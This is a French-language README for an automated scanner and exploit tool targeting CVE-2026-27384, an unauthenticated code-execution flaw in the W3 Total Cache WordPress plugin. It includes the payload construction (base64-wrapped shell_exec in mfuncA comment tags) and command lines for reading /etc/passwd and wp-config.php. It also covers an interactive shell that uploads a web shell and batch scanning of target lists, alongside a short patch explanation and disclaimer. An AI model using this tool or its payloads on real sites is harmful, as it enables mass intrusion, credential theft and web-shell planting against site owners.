
Scanner et exploit automatisé pour CVE-2026-27384, une RCE non authentifiée dans W3 Total Cache via injection mfunc/eval(). Fonctionnalités : détection automatique, 48 variantes de payload, shell interactif et scan par lots.
Plugin: W3 Total Cache Plugin Slug:
w3-total-cacheCVE ID: CVE-2026-27384 CVSS Score: 9.8 (Critique) CVSS Vector:CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:HType de vulnérabilité: Exécution de code arbitraire non authentifiée (Injection de code viaeval()) Versions affectées: <= 2.9.1 Version corrigée: 2.9.2 Date de publication: 24 février 2026 Chercheur: CODE WHITE GmbH
La fonctionnalité Dynamic Fragment Caching du plugin W3 Total Cache (système mfunc/mclude) exécute du code PHP intégré dans des commentaires HTML via eval(). Le token , censé protéger cette fonctionnalité, peut être contourné en combinant plusieurs erreurs de code.
W3TC_DYNAMIC_SECURITYRésultat : Sans nécessiter d'authentification, en soumettant simplement un commentaire WordPress, du code PHP arbitraire peut être exécuté sur le serveur.
| Champ | Valeur |
|---|---|
| CVE ID | CVE-2026-27384 |
| CVSS | 9.8 Critique |
| Type | Code Injection → RCE (CWE-94) |
| Version affectée | <= 2.9.1 |
| Version corrigée | 2.9.2 |
| Authentification | Non requise |
| Interaction utilisateur | Non requise |
| Prérequis | W3TC_DYNAMIC_SECURITY doit contenir un métacaractère regex |
La fonctionnalité Dynamic Fragment Caching de W3TC permet aux développeurs d'intégrer du code PHP dans le HTML de la page via des balises de commentaires spéciales :
<!-- mfunc SECURITY_TOKEN
echo get_current_user_id();
-->
<!-- /mfunc SECURITY_TOKEN -->
W3TC traite ces balises lors de la diffusion de la page depuis le cache : le PHP intégré est exécuté avec eval(), et sa sortie remplace le bloc de commentaire.
preg_quote() (PgCache_ContentGrabber.php)// VULNERABLE — 2.9.1
public function _parse_dynamic( $buffer ) {
$buffer = preg_replace_callback(
// ❌ W3TC_DYNAMIC_SECURITY doğrudan regex'e ekleniyor
// preg_quote() YOK → token regex pattern gibi davranır
'~<!--\s*mfunc\s*' . W3TC_DYNAMIC_SECURITY . '(.*)-->~Uis',
array( $this, '_parse_dynamic_mfunc' ),
$buffer
);
}
Si le token est '.', l'expression régulière devient <!--\s*mfunc\s*.(.*)--> → n'importe quel caractère unique remplace le token.
\s* vs \s+| Fonction | Pattern | Comportement |
|---|---|---|
_parse_dynamic() — exécute | mfunc\s*TOKEN | 0 espace accepté ✅ |
strip_dynamic_fragment_tags_from_string() — nettoie | mfunc\s+TOKEN | Au moins 1 espace requis ❌ |
Payload de l'attaquant : <!-- mfuncA php_code --><!-- /mfuncA -->
↑
PAS D'ESPACE entre mfunc et le token
Fonction strip : \s+ → ne correspond pas → payload RESTE
regex d'exécution : \s* → correspond → eval() S'EXÉCUTE
_has_dynamic())// VULNERABLE — 2.9.1
public function _has_dynamic( $buffer ) {
// ❌ Sadece defined() kontrolü — empty() veya metacharacter kontrolü YOK
if ( ! defined( 'W3TC_DYNAMIC_SECURITY' ) ) {
return false;
}
return preg_match(
'~<!--\s*m(func|clude)\s*' . W3TC_DYNAMIC_SECURITY . '(.*)-->~Uis',
$buffer
);
}
W3TC_DYNAMIC_SECURITY = '.' (métacaractère regex — n'importe quel caractère)
│
▼
L'attaquant soumet un commentaire :
<!-- mfuncA echo shell_exec("id"); --><!-- /mfuncA -->
│
▼
strip_dynamic_fragment_tags_from_string()
Pattern: mfunc\s+[^\s]+ → exige \s+, pas d'espace → CONTROURNÉ ✅
│
▼
Le commentaire est enregistré dans la base de données, la page est mise en cache
│
▼
Deuxième requête HTTP → W3TC sert depuis le cache
_has_dynamic() → mfunc\s*. → 'A' correspond → renvoie true
│
▼
_parse_dynamic() → preg_replace_callback
Pattern: mfunc\s*. → 'A' correspond
│
▼
_parse_dynamic_mfunc() → eval("echo shell_exec('id');")
│
▼
uid=33(www-data) gid=33(www-data) groups=33(www-data)
→ RCE non authentifié ✓
Sans authentification, du code PHP arbitraire peut être exécuté sur le serveur avec les privilèges du serveur web :
git clone https://github.com/kullanici/cve-2026-27384
cd cve-2026-27384
pip install -r requirements.txt
requirements.txt
requests
beautifulsoup4
| Mode | Description |
|---|---|
auto | Analyser le site → trouver une page de commentaires → exploiter (par défaut) |
exploit | Exploitation directe — avec l'URL de publication |
shell | Shell interactif |
detect | Détection W3TC uniquement |
python w3tc_rce.py https://hedef.com
Le scanner effectue les actions suivantes :
# commande id
python w3tc_rce.py https://hedef.com \
--mode exploit \
--post-url https://hedef.com/?p=1 \
--cmd id
# lire /etc/passwd
python w3tc_rce.py https://hedef.com \
--mode exploit \
--post-url https://hedef.com/?p=1 \
--cmd "cat /etc/passwd"
# lire wp-config.php
python w3tc_rce.py https://hedef.com \
--mode exploit \
--post-url https://hedef.com/?p=1 \
--cmd "cat /var/www/html/wp-config.php"
# ID de publication manuel
python w3tc_rce.py https://hedef.com \
--mode exploit \
--post-url https://hedef.com/merhaba-dunya/ \
--post-id 1 \
--cmd whoami
python w3tc_rce.py https://hedef.com \
--mode shell \
--post-url https://hedef.com/?p=1
Lorsque le shell est ouvert, les commandes suivantes sont exécutées automatiquement :
=================================================================
CVE-2026-27384 — W3TC mfunc Interactive Shell
URL : https://hedef.com/?p=1
Payload: b64_shell_exec (bypass='A')
=================================================================
User : www-data
Host : web01.hedef.com
PWD : /var/www/html
OS : Linux web01 5.15.0-91-generic #101-Ubuntu SMP
=================================================================
Commandes : exit | upload <local> <remote> | download <remote>
=================================================================
┌──([email protected])
└─$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
┌──([email protected])
└─$ upload shell.php /var/www/html/shell.php
[+] Upload: shell.php → /var/www/html/shell.php
┌──([email protected])
└─$ download /var/www/html/wp-config.php
[+] Download: wp-config.php → wp-config.php (4821 bytes)
python w3tc_rce.py https://hedef.com --mode detect
[+] W3TC installé !
Version : 2.9.1
Cache : True
[!] Version 2.9.1 VULNÉRABLE (<= 2.9.1) !
python w3tc_rce.py --list targets.txt -t 10 -o sonuclar.txt
python w3tc_rce.py https://hedef.com \
--mode exploit \
--post-url https://hedef.com/?p=1 \
--proxy http://127.0.0.1:8080 \
-v
| Paramètre | Abréviation | Description | Défaut |
|---|---|---|---|
url | — | URL cible unique | — |
--list | -l | Fichier de liste de cibles | — |
--mode | — | Mode de fonctionnement | auto |
--cmd | — | Commande à exécuter | id |
--post-url | — | URL de la page avec commentaire | — |
--post-id | — | WordPress post ID | — |
--max-pages | — | Nombre max de pages à crawler | 50 |
--threads | -t | Nombre de threads | 10 |
--output | -o | Fichier de sortie | w3tc_results.txt |
--proxy | — | Proxy URL | — |
--no-color | — | Sortie sans couleur | False |
--verbose | -v | Sortie détaillée | False |
Tag standard (attrapé par strip) :
<!-- mfunc TOKEN php_code --><!-- /mfunc TOKEN -->
↑
espace présent → \s+ correspond → strip supprime
Tag de contournement (contourne strip, eval() s'exécute) :
<!-- mfuncA php_code --><!-- /mfuncA -->
↑
pas d'espace → \s+ ne correspond pas → strip IGNORE
\s* correspond → eval() S'EXÉCUTE
Le code PHP est encodé en base64 pour éviter les problèmes d'encodage HTML :
# Commande: id
b64_cmd = base64.b64encode(b"id").decode() # → "aWQ="
php_code = f"echo shell_exec(base64_decode('{b64_cmd}'));"
# → echo shell_exec(base64_decode('aWQ='));
payload = f"<!-- mfuncA eval(base64_decode('{b64(php_code)}')); --><!-- /mfuncA -->"
| Groupe | Fonction | Bypass Char | Encoding |
|---|---|---|---|
| b64_shell_exec | shell_exec | A, B, X, 1 | Base64 |
| b64_system | system | A, B, X, 1 | Base64 |
| b64_passthru | passthru | A, B, X, 1 | Base64 |
| b64_exec | exec | A, B, X, 1 | Base64 |
| b64_popen | popen | A, B, X, 1 | Base64 |
| raw_* | Toutes les fonctions | A, B, X, 1 | Brut |
1. Détection W3TC
└─ readme.txt, header, body, répertoire du plugin
2. Détection du système de commentaires
└─ HTML form, REST API, post ID
3. Injection du payload (48 variantes)
├─ REST API: POST /wp-json/wp/v2/comments
└─ HTML Form: POST /wp-comments-post.php
4. Déclenchement du cache
├─ 1ère requête → cache miss → rendu de la page → mise en cache
└─ 2ème requête → cache hit → _parse_dynamic() → eval()
5. Extraction de la sortie
└─ uid=, whoami, /path/, passwd, wp-config...
=================================================================
CVE-2026-27384 — W3 Total Cache mfunc/eval() RCE
=================================================================
[*] Cible : https://hedef.com
Crawling: [████████████████████] 100% (50/50) | 8.3/s
[+] Page de commentaires : https://hedef.com/?p=1 (post_id=1)
[1] Détection W3TC...
[+] W3TC trouvé ! Version : 2.9.1
[2] Détection du système de commentaires...
[+] ID de publication : 1 | Formulaire : True | REST : True
[3] Injection du payload (id)...
[i] 48 variantes de payload prêtes
[4] Déclenchement du cache...
[★] RCE RÉUSSI !
=========================================================
URL : https://hedef.com/?p=1
Payload : b64_shell_exec (bypass='A')
Commande : id
Sortie : uid=33(www-data) gid=33(www-data) groups=33(www-data)
=========================================================
[+] Résultats enregistrés → w3tc_results.txt
[?] Ouvrir un shell ? (y/n):
Scanning: [████████████████████] 100% (100/100) | 4.2/s
[★] 7 vulnérabilités trouvées !
[+] Résultats enregistrés → w3tc_results.txt
cve-2026-27384/
├── w3tc_rce.py # Scanner principal
├── requirements.txt # Dépendances
└── README.md # Ce fichier
| Mesure | Description |
|---|---|
| Mise à jour du plugin | Mettre à jour vers W3 Total Cache 2.9.2+ |
| Désactivation de mfunc | La fonctionnalité ne fonctionne pas si W3TC_DYNAMIC_SECURITY n'est pas défini |
| Token fort | Le token ne doit contenir que des caractères alphanumériques ([a-zA-Z0-9_]+) |
Exemple de token sûr (wp-config.php):
// ❌ Dangereux — métacaractère regex
define('W3TC_DYNAMIC_SECURITY', '.');
define('W3TC_DYNAMIC_SECURITY', '.*');
// ✅ Sûr — alphanumérique
define('W3TC_DYNAMIC_SECURITY', 'xK9mP2qR7nL4wT8v');
Correctif 2.9.2 (_parse_dynamic()):
// PATCHED — 2.9.2
$token = preg_quote( W3TC_DYNAMIC_SECURITY, '~' ); // ✅ preg_quote ajouté
$buffer = preg_replace_callback(
'~<!--\s*mfunc\s+' . $token . '(.*)-->~Uis', // ✅ \s+ (au moins 1 espace)
...
);
Cet outil et ce PoC sont destinés à être utilisés uniquement sur des systèmes autorisés, à des fins éducatives et dans le cadre de tests d'intrusion. Leur utilisation sur des systèmes non autorisés constitue un crime en vertu des articles 243-245 du Code pénal turc et des lois internationales sur la cybercriminalité. Le développeur décline toute responsabilité légale découlant d'un usage abusif de cet outil.
Licence MIT — À usage éducatif et de recherche uniquement.